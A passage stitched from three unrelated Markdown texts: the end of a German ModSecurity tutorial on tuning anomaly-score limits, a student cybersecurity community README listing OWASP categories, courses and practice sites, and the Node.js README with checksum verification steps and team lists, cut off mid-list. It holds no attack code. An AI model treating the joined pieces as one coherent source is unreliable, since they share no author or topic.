Reqs with incoming score of 31 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 32 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 33 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 34 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 35 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 36 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 37 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 38 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 39 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 40 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 41 | 2 | 0.0200% | 100.0000% | 0.0000%
```
10'000 Anfragen sind nicht wirklich ein grosses Logfile, aber es wird für unsere Zwecke reichen. Basierend auf den Daten können wir sofort entscheiden die Anomalie Limite auf 50 zu reduzieren. Es ist unwahrscheinlich, dass ein Request diese Limite erreicht. Und wenn er die Limite erreicht, dann dürfte es sich um einen sehr seltenen Fall handeln, der sehr rar ist und in der Produktion kaum eine massive Beeinträchtigung des Betriebes nach sich zieht.
Die Verringerung der Limite auf 30 wäre wahrscheinlich ein wenig übereifrig, da die Spalte auf der rechten Seite anzeigt, dass 0,02% der Anfragen mehr als 30 Punkte erzielten. Wir sollten die False Positives bei 41 behandeln, bevor wir die Grenze auf 30 reduzieren.
Mit diesen statistischen Daten zeichnet sich der Tuning-Prozess ab: Das iterative Behandeln von einzelnen Fehlalarmen mit Hilfe des *modsec-positive-stats.rb*-Skripts bringt Ordnung und Berechenbarkeit in den Tuning Prozess.
Für die ausgehenden Antworten ist die Situation ein bisschen einfacher, da wir kaum Werte höher als 5 sehen werden. Es gibt einfach nicht genug Regeln, um eine kumulative Wirkung zu haben. Wahrscheinlich weil es nicht viel gibt, was man an einer Antwort überprüfen könnte. Deshalb reduziere ich den Outgoing Anomaly Score jeweils rasch auf 5 oder 4 (was aus den Default Wert des CRS darstellt).
Ich denke, das Tuning-Konzept und die Theorie sind jetzt ganz klar. In der nächsten Anleitung werden wir mit Tuning der False Positives fortfahren und uns etwas Praxis mit den hier demonstrierten Techniken erarbeiten. Und ich werde auch ein Skript vorstellen, das dabei hilft, die komplizierteren Regel Ausschlüsse zu konstruieren.
### Schritt 10 (Goodie): Zusammenfassung der Wege zur Bekämpfung von Falschpositionen
Es ist vielleicht am besten, die Rule Exclusion Direktiven in einer Grafik zusammenzufassen: Hier ein Cheatsheet für den freien Gebrauch!
<a href="https://www.netnea.com/cms/rule-exclusion-cheatsheet-download/"><img src="https://www.netnea.com/files/tutorial-7-rule-exclusion-cheatsheet_small.png" alt="Rule Exclusion CheatSheet" width="476" height="673" /></a>
### Verweise
- [Spider Labs Blog Post: Exception
Handling](http://blog.spiderlabs.com/2011/08/modsecurity-advanced-topic-of-the-week-exception-handling.html)
- [ModSecurity
Referenzhandbuch](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual)
### Lizenz / Kopieren / Weiterverwenden
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/80x15.png" /></a><br />Diese Arbeit ist wie folgt lizenziert / This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.
|
# Cyber Security Community DSC - DYPCOE
Hello security researchers this repository is built in a way which guides you through the initial learning and basics of Cyber Security in web application
### Note Before we Dig in: ** Information provided on here is for educational purposes only. The communtiy is no way responsible for any misuse of the information..**
-----------------------------------------------------------------------
What is Cyber Security in Web Applications ?
Web application security is the process of protecting websites and online services against different security threats that exploit vulnerabilities in an application’s code.
So now you might have also got a question like what is vulnerabilities and what are the types of vulnerabilities?
Vulnerability is a weakness which can be exploited by a threat actor, such as an attacker, to perform unauthorized actions within a computer system.
There is a global community of Web app security **OWASP - "The Open Web Application Security Project"** which looks on upon the top vulnerabilities and release them according to their severity the top 10 **OWASP** vulnerabilities in 2020 are
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging & Monitoring
-----------------------------------------------------------------------
### Courses
#### 1. Basic Courses for getting firm knowledge
1. [Bug Bounty Hunting - Offensive Approach to Hunt Bugs](https://www.udemy.com/course/bug-bounty-hunting-offensive-approach-to-hunt-bugs/)
2. [Pentester Lab](https://pentesterlab.com/pro)
3. [Portswigger WebSecurity Academy](https://portswigger.net/web-security)
#### 2. Advanced courses for mastering the domain
1. [OSCP](https://www.offensive-security.com/pre-reg/)
2. [Certified Ethical Hacker](https://www.eccouncil.org/contact-form-international/)
3. [Advanced Penetration Tester](https://www.offensive-security.com/pre-reg/)
And many more from [Offensive-Security](https://www.offensive-security.com/courses-and-certifications/)
-----------------------------------------------------------------------
### Bug-Bounty Hunting
Bug bounty hunters are ethical hackers who make a hobby (or, even a business) of finding security issues or bugs in an online businesses. Rather than misuse it, these hackers, in a responsible manner, disclose it to the firm.
Many websites offer a **Bug Bounty Program:** A bug bounty program is a deal offered by many websites, organizations and software developers by which individuals can receive recognition and compensation for reporting bugs, especially those pertaining to security exploits and vulnerabilities.
-----------------------------------------------------------------------
### Catch The Flag (CTF)
A capture the flag (CTF) contest is a special kind of cybersecurity competition designed to challenge its participants to solve computer security problems and/or capture and defend computer systems. Typically, these competitions are team-based and attract a diverse range of participants, including students, enthusiasts and professionals. A CTF competition may take a few short hours, an entire day or even multiple days.
CTF competitions have elevated from their humble roots to reach sport-level status, with thousands of individual games and leagues now taking place every year across the globe — including the annual DEF CON competition, one of the most prestigious CTF events in the world.
-----------------------------------------------------------------------
### Websites To Practice
#### 1. Make a hands on practice over major vulnerabilities
1. [Accunetix](http://testphp.vulnweb.com/)
2. [HackThisSite](https://www.hackthissite.org/)
#### 2. Advance in Penetration Testing
1. [HackTheBox](https://www.hackthebox.eu/login)
2. [Pentester Labs](https://pentesterlab.com/)
#### 3. Bug Bounty Communities
1. [Hackerone](https://www.hackerone.com/)
2. [BugCrowd](https://www.bugcrowd.com/login/)
3. [Open Bug Bounty](https://www.openbugbounty.org/)
#### 4. Capture The Flag (CTF)
1. [Hacker101](https://ctf.hacker101.com/)
2. [CTFtime](https://ctftime.org/)
-----------------------------------------------------------------------
### Tools
**One of the most important tool in Cyber Security is Burpsuite
Read more about Burpsuite [Here](https://www.geeksforgeeks.org/what-is-burp-suite/)
And you can download it from [Here](https://portswigger.net/burp/communitydownload)**
Apart from this reading and gain the best knowledge is the important tool to succeed in Ethical Hacking
**You can use the following as a tool to learn most of the new things and be a finest Security Researcher**
1. [Medium](https://medium.com/bugbountywriteup/tagged/ethical-hacking)
2. [GeekforGeeks](https://www.geeksforgeeks.org/tag/cyber-security/)
3. [Hacktivity](https://hackerone.com/hacktivity)
4. [CrowdStream](https://bugcrowd.com/crowdstream)
All the Writeup's present here help you all to develope your skills and learn new intresting methods
|
# Node.js
Node.js is an open-source, cross-platform JavaScript runtime environment.
For information on using Node.js, see the [Node.js website][].
The Node.js project uses an [open governance model](./GOVERNANCE.md). The
[OpenJS Foundation][] provides support for the project.
Contributors are expected to act in a collaborative manner to move
the project forward. We encourage the constructive exchange of contrary
opinions and compromise. The [TSC](./GOVERNANCE.md#technical-steering-committee)
reserves the right to limit or block contributors who repeatedly act in ways
that discourage, exhaust, or otherwise negatively affect other participants.
**This project has a [Code of Conduct][].**
## Table of contents
* [Support](#support)
* [Release types](#release-types)
* [Download](#download)
* [Current and LTS releases](#current-and-lts-releases)
* [Nightly releases](#nightly-releases)
* [API documentation](#api-documentation)
* [Verifying binaries](#verifying-binaries)
* [Building Node.js](#building-nodejs)
* [Security](#security)
* [Contributing to Node.js](#contributing-to-nodejs)
* [Current project team members](#current-project-team-members)
* [TSC (Technical Steering Committee)](#tsc-technical-steering-committee)
* [Collaborators](#collaborators)
* [Triagers](#triagers)
* [Release keys](#release-keys)
* [License](#license)
## Support
Looking for help? Check out the
[instructions for getting support](.github/SUPPORT.md).
## Release types
* **Current**: Under active development. Code for the Current release is in the
branch for its major version number (for example,
[v15.x](https://github.com/nodejs/node/tree/v15.x)). Node.js releases a new
major version every 6 months, allowing for breaking changes. This happens in
April and October every year. Releases appearing each October have a support
life of 8 months. Releases appearing each April convert to LTS (see below)
each October.
* **LTS**: Releases that receive Long Term Support, with a focus on stability
and security. Every even-numbered major version will become an LTS release.
LTS releases receive 12 months of _Active LTS_ support and a further 18 months
of _Maintenance_. LTS release lines have alphabetically-ordered code names,
beginning with v4 Argon. There are no breaking changes or feature additions,
except in some special circumstances.
* **Nightly**: Code from the Current branch built every 24-hours when there are
changes. Use with caution.
Current and LTS releases follow [semantic versioning](https://semver.org). A
member of the Release Team [signs](#release-keys) each Current and LTS release.
For more information, see the
[Release README](https://github.com/nodejs/Release#readme).
### Download
Binaries, installers, and source tarballs are available at
<https://nodejs.org/en/download/>.
#### Current and LTS releases
<https://nodejs.org/download/release/>
The [latest](https://nodejs.org/download/release/latest/) directory is an
alias for the latest Current release. The latest-_codename_ directory is an
alias for the latest release from an LTS line. For example, the
[latest-fermium](https://nodejs.org/download/release/latest-fermium/) directory
contains the latest Fermium (Node.js 14) release.
#### Nightly releases
<https://nodejs.org/download/nightly/>
Each directory name and filename contains a date (in UTC) and the commit
SHA at the HEAD of the release.
#### API documentation
Documentation for the latest Current release is at <https://nodejs.org/api/>.
Version-specific documentation is available in each release directory in the
_docs_ subdirectory. Version-specific documentation is also at
<https://nodejs.org/download/docs/>.
### Verifying binaries
Download directories contain a `SHASUMS256.txt` file with SHA checksums for the
files.
To download `SHASUMS256.txt` using `curl`:
```console
$ curl -O https://nodejs.org/dist/vx.y.z/SHASUMS256.txt
```
To check that a downloaded file matches the checksum, run
it through `sha256sum` with a command such as:
```console
$ grep node-vx.y.z.tar.gz SHASUMS256.txt | sha256sum -c -
```
For Current and LTS, the GPG detached signature of `SHASUMS256.txt` is in
`SHASUMS256.txt.sig`. You can use it with `gpg` to verify the integrity of
`SHASUMS256.txt`. You will first need to import
[the GPG keys of individuals authorized to create releases](#release-keys). To
import the keys:
```console
$ gpg --keyserver hkps://keys.openpgp.org --recv-keys 4ED778F539E3634C779C87C6D7062848A1AB005C
```
See [Release keys](#release-keys) for a script to import active release keys.
Next, download the `SHASUMS256.txt.sig` for the release:
```console
$ curl -O https://nodejs.org/dist/vx.y.z/SHASUMS256.txt.sig
```
Then use `gpg --verify SHASUMS256.txt.sig SHASUMS256.txt` to verify
the file's signature.
## Building Node.js
See [BUILDING.md](BUILDING.md) for instructions on how to build Node.js from
source and a list of supported platforms.
## Security
For information on reporting security vulnerabilities in Node.js, see
[SECURITY.md](./SECURITY.md).
## Contributing to Node.js
* [Contributing to the project][]
* [Working Groups][]
* [Strategic initiatives][]
* [Technical values and prioritization][]
## Current project team members
For information about the governance of the Node.js project, see
[GOVERNANCE.md](./GOVERNANCE.md).
<!-- node-core-utils and find-inactive-tsc.mjs depend on the format of the TSC
list. If the format changes, those utilities need to be tested and
updated. -->
### TSC (Technical Steering Committee)
#### TSC voting members
<!--lint disable prohibited-strings-->
* [aduh95](https://github.com/aduh95) -
**Antoine du Hamel** <<[email protected]>> (he/him)
* [apapirovski](https://github.com/apapirovski) -
**Anatoli Papirovski** <<[email protected]>> (he/him)
* [BethGriggs](https://github.com/BethGriggs) -
**Beth Griggs** <<[email protected]>> (she/her)
* [BridgeAR](https://github.com/BridgeAR) -
**Ruben Bridgewater** <<[email protected]>> (he/him)
* [ChALkeR](https://github.com/ChALkeR) -
**Сковорода Никита Андреевич** <<[email protected]>> (he/him)
* [cjihrig](https://github.com/cjihrig) -
**Colin Ihrig** <<[email protected]>> (he/him)
* [danielleadams](https://github.com/danielleadams) -
**Danielle Adams** <<[email protected]>> (she/her)
* [fhinkel](https://github.com/fhinkel) -
**Franziska Hinkelmann** <<[email protected]>> (she/her)
* [GeoffreyBooth](https://github.com/geoffreybooth) -
**Geoffrey Booth** <<[email protected]>> (he/him)
* [gireeshpunathil](https://github.com/gireeshpunathil) -
**Gireesh Punathil** <<[email protected]>> (he/him)
* [jasnell](https://github.com/jasnell) -
**James M Snell** <<[email protected]>> (he/him)
* [joyeecheung](https://github.com/joyeecheung) -
**Joyee Cheung** <<[email protected]>> (she/her)
* [legendecas](https://github.com/legendecas) -
**Chengzhong Wu** <<[email protected]>> (he/him)
* [mcollina](https://github.com/mcollina) -
**Matteo Collina** <<[email protected]>> (he/him)
* [mhdawson](https://github.com/mhdawson) -
**Michael Dawson** <<[email protected]>> (he/him)
* [RafaelGSS](https://github.com/RafaelGSS) -
**Rafael Gonzaga** <<[email protected]>> (he/him)
* [RaisinTen](https://github.com/RaisinTen) -
**Darshan Sen** <<[email protected]>> (he/him)
* [richardlau](https://github.com/richardlau) -
**Richard Lau** <<[email protected]>>
* [ronag](https://github.com/ronag) -
**Robert Nagy** <<[email protected]>>
* [targos](https://github.com/targos) -
**Michaël Zasso** <<[email protected]>> (he/him)
* [tniessen](https://github.com/tniessen) -
**Tobias Nießen** <<[email protected]>> (he/him)
* [Trott](https://github.com/Trott) -
**Rich Trott** <<[email protected]>> (he/him)
#### TSC regular members
* [addaleax](https://github.com/addaleax) -
**Anna Henningsen** <<[email protected]>> (she/her)
* [bnoordhuis](https://github.com/bnoordhuis) -
**Ben Noordhuis** <<[email protected]>>
* [codebytere](https://github.com/codebytere) -
**Shelley Vohr** <<[email protected]>> (she/her)
* [danbev](https://github.com/danbev) -
**Daniel Bevenius** <<[email protected]>> (he/him)
* [gabrielschulhof](https://github.com/gabrielschulhof) -
**Gabriel Schulhof** <<[email protected]>>
* [mscdex](https://github.com/mscdex) -
**Brian White** <<[email protected]>>
* [MylesBorins](https://github.com/MylesBorins) -
**Myles Borins** <<[email protected]>> (he/him)
* [rvagg](https://github.com/rvagg) -
**Rod Vagg** <<[email protected]>>
* [TimothyGu](https://github.com/TimothyGu) -
**Tiancheng "Timothy" Gu** <<[email protected]>> (he/him)
<details>
<summary>TSC emeriti members</summary>
#### TSC emeriti members
* [chrisdickinson](https://github.com/chrisdickinson) -
**Chris Dickinson** <<[email protected]>>
* [evanlucas](https://github.com/evanlucas) -
**Evan Lucas** <<[email protected]>> (he/him)
* [Fishrock123](https://github.com/Fishrock123) -
**Jeremiah Senkpiel** <<[email protected]>> (he/they)
* [gibfahn](https://github.com/gibfahn) -
**Gibson Fahnestock** <<[email protected]>> (he/him)
* [indutny](https://github.com/indutny) -
**Fedor Indutny** <<[email protected]>>
* [isaacs](https://github.com/isaacs) -
**Isaac Z. Schlueter** <<[email protected]>>
* [joshgav](https://github.com/joshgav) -
**Josh Gavant** <<[email protected]>>
* [mmarchini](https://github.com/mmarchini) -
**Mary Marchini** <<[email protected]>> (she/her)
* [nebrius](https://github.com/nebrius) -
**Bryan Hughes** <<[email protected]>>
* [ofrobots](https://github.com/ofrobots) -
**Ali Ijaz Sheikh** <<[email protected]>> (he/him)
* [orangemocha](https://github.com/orangemocha) -
**Alexis Campailla** <<[email protected]>>
* [piscisaureus](https://github.com/piscisaureus) -
**Bert Belder** <<[email protected]>>
* [sam-github](https://github.com/sam-github) -
**Sam Roberts** <<[email protected]>>
* [shigeki](https://github.com/shigeki) -
**Shigeki Ohtsu** <<[email protected]>> (he/him)
* [thefourtheye](https://github.com/thefourtheye) -
**Sakthipriyan Vairamani** <<[email protected]>> (he/him)
* [trevnorris](https://github.com/trevnorris) -
**Trevor Norris** <<[email protected]>>
</details>
<!-- node-core-utils and find-inactive-collaborators.mjs depend on the format
of the collaborator list. If the format changes, those utilities need to be
tested and updated. -->
### Collaborators
* [addaleax](https://github.com/addaleax) -
**Anna Henningsen** <<[email protected]>> (she/her)
* [aduh95](https://github.com/aduh95) -
**Antoine du Hamel** <<[email protected]>> (he/him)
* [anonrig](https://github.com/anonrig) -
**Yagiz Nizipli** <<[email protected]>> (he/him)
* [antsmartian](https://github.com/antsmartian) -
**Anto Aravinth** <<[email protected]>> (he/him)
* [apapirovski](https://github.com/apapirovski) -
**Anatoli Papirovski** <<[email protected]>> (he/him)
* [AshCripps](https://github.com/AshCripps) -
**Ash Cripps** <<[email protected]>>
* [Ayase-252](https://github.com/Ayase-252) -
**Qingyu Deng** <<[email protected]>>
* [bengl](https://github.com/bengl) -
**Bryan English** <<[email protected]>> (he/him)
* [benjamingr](https://github.com/benjamingr) -
**Benjamin Gruenbaum** <<[email protected]>>
* [BethGriggs](https://github.com/BethGriggs) -
**Beth Griggs** <<[email protected]>> (she/her)
* [bmeck](https://github.com/bmeck) -
**Bradley Farias** <<[email protected]>>
* [bnb](https://github.com/bnb) -
**Tierney Cyren** <<[email protected]>> (they/he)
* [bnoordhuis](https://github.com/bnoordhuis) -
**Ben Noordhuis** <<[email protected]>>
* [BridgeAR](https://github.com/BridgeAR) -
**Ruben Bridgewater** <<[email protected]>> (he/him)
* [cclauss](https://github.com/cclauss) -
**Christian Clauss** <<[email protected]>> (he/him)
* [ChALkeR](https://github.com/ChALkeR) -
**Сковорода Никита Андреевич** <<[email protected]>> (he/him)
* [cjihrig](https://github.com/cjihrig) -
**Colin Ihrig** <<[email protected]>> (he/him)
* [codebytere](https://github.com/codebytere) -
**Shelley Vohr** <<[email protected]>> (she/her)
* [cola119](https://github.com/cola119) -
**Kohei Ueno** <<[email protected]>> (he/him)
* [daeyeon](https://github.com/daeyeon) -
**Daeyeon Jeong** <<[email protected]>> (he/him)
* [danbev](https://github.com/danbev) -
**Daniel Bevenius** <<[email protected]>> (he/him)
* [danielleadams](https://github.com/danielleadams) -
**Danielle Adams** <<[email protected]>> (she/her)
* [debadree25](https://github.com/debadree25) -
**Debadree Chatterjee** <<[email protected]>> (he/him)
* [deokjinkim](https://github.com/deokjinkim) -
**Deokjin Kim** <<[email protected]>> (he/him)
* [devnexen](https://github.com/devnexen) -
**David Carlier** <<[email protected]>>
* [devsnek](https://github.com/devsnek) -
**Gus Caplan** <<[email protected]>> (they/them)
* [edsadr](https://github.com/edsadr) -
**Adrian Estrada** <<[email protected]>> (he/him)
* [erickwendel](https://github.com/erickwendel) -
**Erick Wendel** <<[email protected]>> (he/him)
* [fhinkel](https://github.com/fhinkel) -
**Franziska Hinkelmann** <<[email protected]>> (she/her)
* [F3n67u](https://github.com/F3n67u) -
**Feng Yu** <<[email protected]>> (he/him)
* [Flarna](https://github.com/Flarna) -
**Gerhard Stöbich** <<[email protected]>> (he/they)
* [gabrielschulhof](https://github.com/gabrielschulhof) -
**Gabriel Schulhof** <<[email protected]>>
* [gengjiawen](https://github.com/gengjiawen) -
**Jiawen Geng** <<[email protected]>>
* [GeoffreyBooth](https://github.com/geoffreybooth) -
**Geoffrey Booth** <<[email protected]>> (he/him)
* [gireeshpunathil](https://github.com/gireeshpunathil) -
**Gireesh Punathil** <<[email protected]>> (he/him)
* [guybedford](https://github.com/guybedford) -
**Guy Bedford** <<[email protected]>> (he/him)
* [HarshithaKP](https://github.com/HarshithaKP) -
**Harshitha K P** <<[email protected]>> (she/her)
* [himself65](https://github.com/himself65) -
**Zeyu "Alex" Yang** <<[email protected]>> (he/him)
* [iansu](https://github.com/iansu) -
**Ian Sutherland** <<[email protected]>>
* [JacksonTian](https://github.com/JacksonTian) -
**Jackson Tian** <<[email protected]>>
* [JakobJingleheimer](https://github.com/JakobJingleheimer) -
**Jacob Smith** <<[email protected]>> (he/him)
* [jasnell](https://github.com/jasnell) -
**James M Snell** <<[email protected]>> (he/him)
* [jkrems](https://github.com/jkrems) -
**Jan Krems** <<[email protected]>> (he/him)
* [joesepi](https://github.com/joesepi) -
**Joe Sepi** <<[email protected]>> (he/him)
* [joyeecheung](https://github.com/joyeecheung) -
**Joyee Cheung** <<[email protected]>> (she/her)
* [juanarbol](https://github.com/juanarbol) -
**Juan José Arboleda** <<[email protected]>> (he/him)
* [JungMinu](https://github.com/JungMinu) -
**Minwoo Jung** <<[email protected]>> (he/him)
* [kuriyosh](https://github.com/kuriyosh) -
**Yoshiki Kurihara** <<[email protected]>> (he/him)
* [legendecas](https://github.com/legendecas) -
**Chengzhong Wu** <<[email protected]>> (he/him)
* [Leko](https://github.com/Leko) -
**Shingo Inoue** <<[email protected]>> (he/him)
* [linkgoron](https://github.com/linkgoron) -
**Nitzan Uziely** <<[email protected]>>
* [LiviaMedeiros](https://github.com/LiviaMedeiros) -
**LiviaMedeiros** <<[email protected]>>
* [lpinca](https://github.com/lpinca) -
**Luigi Pinca** <<[email protected]>> (he/him)
* [lukekarrys](https://github.com/lukekarrys) -
**Luke Karrys** <<[email protected]>> (he/him)
* [Lxxyx](https://github.com/Lxxyx) -
**Zijian Liu** <<[email protected]>> (he/him)
* [marco-ippolito](https://github.com/marco-ippolito) -
**Marco Ippolito** <<[email protected]>> (he/him)
* [marsonya](https://github.com/marsonya) -
**Akhil Marsonya** <<[email protected]>> (he/him)
* [mcollina](https://github.com/mcollina) -
**Matteo Collina** <<[email protected]>> (he/him)
* [meixg](https://github.com/meixg) -
**Xuguang Mei** <<[email protected]>> (he/him)
* [Mesteery](https://github.com/Mesteery) -
**Mestery** <<[email protected]>> (he/him)
* [mhdawson](https://github.com/mhdawson) -
**Michael Dawson** <<[email protected]>> (he/him)
* [miladfarca](https://github.com/miladfarca) -
**Milad Fa** <<[email protected]>> (he/him)
* [mildsunrise](https://github.com/mildsunrise) -
**Alba Mendez** <<[email protected]>> (she/her)
* [MoLow](https://github.com/MoLow) -
**Moshe Atlow** <<[email protected]>> (he/him)
* [mscdex](https://github.com/mscdex) -
**Brian White** <<[email protected]>>
* [MylesBorins](https://github.com/MylesBorins) -
**Myles Borins** <<[email protected]>> (he/him)
* [oyyd](https://github.com/oyyd) -
**Ouyang Yadong** <<[email protected]>> (he/him)
* [panva](https://github.com/panva) -
**Filip Skokan** <<[email protected]>> (he/him)
* [puzpuzpuz](https://github.com/puzpuzpuz) -
**Andrey Pechkurov** <<[email protected]>> (he/him)
* [Qard](https://github.com/Qard) -
**Stephen Belanger** <<[email protected]>> (he/him)
* [RafaelGSS](https://github.com/RafaelGSS) -
**Rafael Gonzaga** <<[email protected]>> (he/him)
* [RaisinTen](https://github.com/RaisinTen) -
**Darshan Sen** <<[email protected]>> (he/him)
* [richardlau](https://github.com/richardlau) -
**Richard Lau** <<[email protected]>>
* [rickyes](https://github.com/rickyes) -
**Ricky Zhou** <<[email protected]>> (he/him)
* [ronag](https://github.com/ronag) -
**Robert Nagy** <<[email protected]>>
* [ruyadorno](https://github.com/ruyadorno) -
**Ruy Adorno** <<[email protected]>> (he/him)
* [rvagg](https://github.com/rvagg) -
**Rod Vagg** <<[email protected]>>
* [ryzokuken](https://github.com/ryzokuken) -
**Ujjwal Sharma** <<[email protected]>> (he/him)
* [santigimeno](https://github.com/santigimeno) -
**Santiago Gimeno** <<[email protected]>>
* [shisama](https://github.com/shisama) -
**Masashi Hirano** <<[email protected]>> (he/him)
* [ShogunPanda](https://github.com/ShogunPanda) -
**Paolo Insogna** <<[email protected]>> (he/him)
* [srl295](https://github.com/srl295) -
**Steven R Loomis** <<[email protected]>>
* [sxa](https://github.com/sxa) -
**Stewart X Addison** <<[email protected]>> (he/him)
* [targos](https://github.com/targos) -
**Michaël Zasso** <<[email protected]>> (he/him)
* [theanarkh](https://github.com/theanarkh) -
**theanarkh** <<[email protected]>> (he/him)
* [TimothyGu](https://github.com/TimothyGu) -
**Tiancheng "Timothy" Gu** <<[email protected]>> (he/him)
* [tniessen](https://github.com/tniessen) -
**Tobias Nießen** <<[email protected]>> (he/him)
* [trivikr](https://github.com/trivikr) -
**Trivikram Kamat** <<[email protected]>>
* [Trott](https://github.com/Trott) -
**Rich Trott** <<[email protected]>> (he/him)
* [vdeturckheim](https://github.com/vdeturckheim) -
**Vladimir de Turckheim** <<[email protected]>> (he/him)
* [VoltrexKeyva](https://github.com/VoltrexKeyva) -
**Mohammed Keyvanzadeh** <<[email protected]>> (he/him)
* [watilde](https://github.com/watilde) -
**Daijiro Wachi** <<[email protected]>> (he/him)
* [XadillaX](https://github.com/XadillaX) -
**Khaidi Chu** <<[email protected]>> (he/him)
* [yashLadha](https://github.com/yashLadha) -
**Yash Ladha** <<[email protected]>> (he/him)
* [ZYSzys](https://github.com/ZYSzys) -
**Yongsheng Zhang** <<[email protected]>> (he/him)
<details>
<summary>Emeriti</summary>
<!-- find-inactive-collaborators.mjs depends on the format of the emeriti list.
If the format changes, those utilities need to be tested and updated. -->
### Collaborator emeriti
* [ak239](https://github.com/ak239) -
**Aleksei Koziatinskii** <<[email protected]>>
* [andrasq](https://github.com/andrasq) -
**Andras** <<[email protected]>>
* [AnnaMag](https://github.com/AnnaMag) -
**Anna M. Kedzierska** <<[email protected]>>
* [AndreasMadsen](https://github.com/AndreasMadsen) -
**Andreas Madsen** <<[email protected]>> (he/him)
* [aqrln](https://github.com/aqrln) -
**Alexey Orlenko** <<[email protected]>> (he/him)
* [bcoe](https://github.com/bcoe) -
**Ben Coe** <<[email protected]>> (he/him)
* [bmeurer](https://github.com/bmeurer) -
**Benedikt Meurer** <<[email protected]>>
* [boneskull](https://github.com/boneskull) -
**Christopher Hiller** <<[email protected]>> (he/him)
* [brendanashworth](https://github.com/brendanashworth) -
**Brendan Ashworth** <<[email protected]>>
* [bzoz](https://github.com/bzoz) -
**Bartosz Sosnowski** <<[email protected]>>
* [calvinmetcalf](https://github.com/calvinmetcalf) -
**Calvin Metcalf** <<[email protected]>>
* [chrisdickinson](https://github.com/chrisdickinson) -
**Chris Dickinson** <<[email protected]>>
* [claudiorodriguez](https://github.com/claudiorodriguez) -
**Claudio Rodriguez** <<[email protected]>>
* [DavidCai1993](https://github.com/DavidCai1993) -
**David Cai** <<[email protected]>> (he/him)
* [davisjam](https://github.com/davisjam) -
**Jamie Davis** <<[email protected]>> (he/him)
* [digitalinfinity](https://github.com/digitalinfinity) -
**Hitesh Kanwathirtha** <<[email protected]>> (he/him)
* [dmabupt](https://github.com/dmabupt) -
**Xu Meng** <<[email protected]>> (he/him)
* [dnlup](https://github.com/dnlup)
**dnlup** <<[email protected]>>
* [eljefedelrodeodeljefe](https://github.com/eljefedelrodeodeljefe) -
**Robert Jefe Lindstaedt** <<[email protected]>>
* [estliberitas](https://github.com/estliberitas) -
**Alexander Makarenko** <<[email protected]>>
* [eugeneo](https://github.com/eugeneo) -
**Eugene Ostroukhov** <<[email protected]>>
* [evanlucas](https://github.com/evanlucas) -
**Evan Lucas** <<[email protected]>> (he/him)
* [firedfox](https://github.com/firedfox) -
**Daniel Wang** <<[email protected]>>
* [Fishrock123](https://github.com/Fishrock123) -
**Jeremiah Senkpiel** <<[email protected]>> (he/they)
* [gdams](https://github.com/gdams) -
**George Adams** <<[email protected]>> (he/him)
* [geek](https://github.com/geek) -
**Wyatt Preul** <<[email protected]>>
* [gibfahn](https://github.com/gibfahn) -
**Gibson Fahnestock** <<[email protected]>> (he/him)
* [glentiki](https://github.com/glentiki) -
**Glen Keane** <<[email protected]>> (he/him)
* [hashseed](https://github.com/hashseed) -
**Yang Guo** <<[email protected]>> (he/him)
* [hiroppy](https://github.com/hiroppy) -
**Yuta Hiroto** <<[email protected]>> (he/him)
* [iarna](https://github.com/iarna) -
**Rebecca Turner** <<[email protected]>>
* [imran-iq](https://github.com/imran-iq) -
**Imran Iqbal** <<[email protected]>>
* [imyller](https://github.com/imyller) -
**Ilkka Myller** <<[email protected]>>
* [indutny](https://github.com/indutny) -
**Fedor Indutny** <<[email protected]>>
* [isaacs](https://github.com/isaacs) -
**Isaac Z. Schlueter** <<[email protected]>>
* [italoacasas](https://github.com/italoacasas) -
**Italo A. Casas** <<[email protected]>> (he/him)
* [jasongin](https://github.com/jasongin) -
**Jason Ginchereau** <<[email protected]>>
* [jbergstroem](https://github.com/jbergstroem) -
**Johan Bergström** <<[email protected]>>
* [jdalton](https://github.com/jdalton) -
**John-David Dalton** <<[email protected]>>
* [jhamhader](https://github.com/jhamhader) -
**Yuval Brik** <<[email protected]>>
* [joaocgreis](https://github.com/joaocgreis) -
**João Reis** <<[email protected]>>
* [joshgav](https://github.com/joshgav) -
**Josh Gavant** <<[email protected]>>
* [julianduque](https://github.com/julianduque) -
**Julian Duque** <<[email protected]>> (he/him)
* [kfarnung](https://github.com/kfarnung) -
**Kyle Farnung** <<[email protected]>> (he/him)
* [kunalspathak](https://github.com/kunalspathak) -
**Kunal Pathak** <<[email protected]>>
* [lance](https://github.com/lance) -
**Lance Ball** <<[email protected]>> (he/him)
* [lucamaraschi](https://github.com/lucamaraschi) -
**Luca Maraschi** <<[email protected]>> (he/him)
* [lundibundi](https://github.com/lundibundi) -
**Denys Otrishko** <<[email protected]>> (he/him)
* [lxe](https://github.com/lxe) -
**Aleksey Smolenchuk** <<[email protected]>>
* [maclover7](https://github.com/maclover7) -
**Jon Moss** <<[email protected]>> (he/him)
* [mafintosh](https://github.com/mafintosh) -
**Mathias Buus** <<[email protected]>> (he/him)
* [matthewloring](https://github.com/matthewloring) -
**Matthew Loring** <<[email protected]>>
* [micnic](https://github.com/micnic) -
**Nicu Micleușanu** <<[email protected]>> (he/him)
* [mikeal](https://github.com/mikeal) -
**Mikeal Rogers** <<[email protected]>>
* [misterdjules](https://github.com/misterdjules) -
**Julien Gilli** <<[email protected]>>
* [mmarchini](https://github.com/mmarchini) -
**Mary Marchini** <<[email protected]>> (she/her)
* [monsanto](https://github.com/monsanto) -
